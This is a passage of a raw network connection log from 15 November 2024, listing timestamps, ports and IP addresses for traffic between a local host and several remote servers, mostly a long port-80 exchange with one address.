Nov 15, 2024 09:55:44.036070108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036081076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036092997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036127090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036135912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036144018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036145926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036159992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036170006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036170959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036185026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036211014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036232948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036243916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036256075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036268950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036302090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036305904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036320925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036331892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036353111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036370993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.079791069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079812050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079829931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079838991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079840899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079847097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.079854965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.079919100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.080674887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080687046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080698013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080724955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.080729008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080740929 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080754995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.080759048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.080790997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.101177931 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.107294083 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:44.131269932 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.131330967 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.132241964 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.132258892 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.140269995 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:44.140337944 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:44.140434980 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:44.140475035 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:44.144422054 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:44.144568920 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:44.144639015 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:44.152501106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152530909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152544022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152589083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152601004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152602911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152616024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152630091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152643919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152653933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152657032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152673006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152688026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152693987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152700901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152720928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152724981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152735949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152746916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152748108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152759075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152781963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152803898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152811050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152822971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152861118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152869940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152877092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152899027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152904987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152911901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152925968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152932882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152942896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152947903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152961969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152967930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.152976990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152988911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.152992010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153002977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153019905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153045893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153146982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153162003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153175116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153187037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153203011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153212070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153217077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153230906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153244972 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153254032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153259039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153266907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153280973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153281927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153295040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153296947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153309107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153316021 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153321981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153327942 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153345108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153357029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153357029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153373957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153398991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153403044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153409004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153412104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153430939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153444052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153450012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153458118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153472900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153491020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153511047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153523922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153536081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153561115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153579950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153582096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153595924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153608084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153610945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153620958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153631926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153656006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153662920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153675079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153688908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153695107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153700113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153729916 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153733015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153747082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153754950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153762102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153774977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.153780937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153795958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.153812885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154103041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154130936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154141903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154155016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154159069 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154186964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154191971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154212952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154237986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154311895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154356003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154407024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154418945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154432058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154444933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154458046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154469967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154489040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154501915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154505968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154515982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154527903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154540062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154544115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154552937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154562950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154581070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154587030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154593945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154609919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154616117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154624939 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154625893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154638052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154645920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154650927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154665947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154674053 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154685020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154694080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154706001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154726028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154743910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154902935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154922962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154937029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154949903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154957056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154958963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154973030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154983044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.154988050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.154994965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155004025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155015945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155018091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155030012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155030012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155054092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155056000 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155066013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155080080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155080080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155098915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155106068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155109882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155118942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155129910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155139923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155143023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155148983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155158043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155168056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155174017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155177116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155185938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155195951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155200005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155205011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155214071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155224085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155224085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155235052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155249119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155249119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155250072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155276060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155302048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155319929 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155333042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.155380011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.155380011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.181149006 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.181410074 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.181423903 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.182496071 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.182588100 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.183929920 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.184034109 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.192481041 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:44.192553043 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:44.192631006 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:44.193520069 CET	49974	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:44.193551064 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:44.198148012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198220015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.198431969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198489904 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.198544025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198573112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198606968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198622942 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.198638916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.198653936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.198682070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199472904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199486017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199497938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199508905 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199546099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199562073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199568987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199575901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199601889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199645996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199650049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199667931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199678898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199693918 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199706078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199712038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199723959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.199726105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.199764013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.200524092 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.200558901 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:44.200624943 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.200964928 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.200973988 CET	443	49975	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:44.204478979 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.204519987 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:44.204628944 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.205532074 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:44.205542088 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:44.210400105 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.210419893 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.217348099 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.218321085 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.218332052 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.218877077 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.218888998 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.218903065 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.219109058 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.219374895 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.219402075 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.219505072 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.219610929 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.219870090 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.219959021 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.219966888 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.220036983 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.220289946 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.220655918 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.220810890 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.220828056 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.221302986 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.221312046 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.222160101 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.222235918 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.222771883 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.222826004 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.222918987 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.222974062 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.223098040 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.223105907 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.223929882 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.224052906 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.225440979 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.225455046 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.227715969 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.227725029 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.227920055 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.227955103 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.228844881 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.228859901 CET	443	49962	13.107.246.45	192.168.2.7
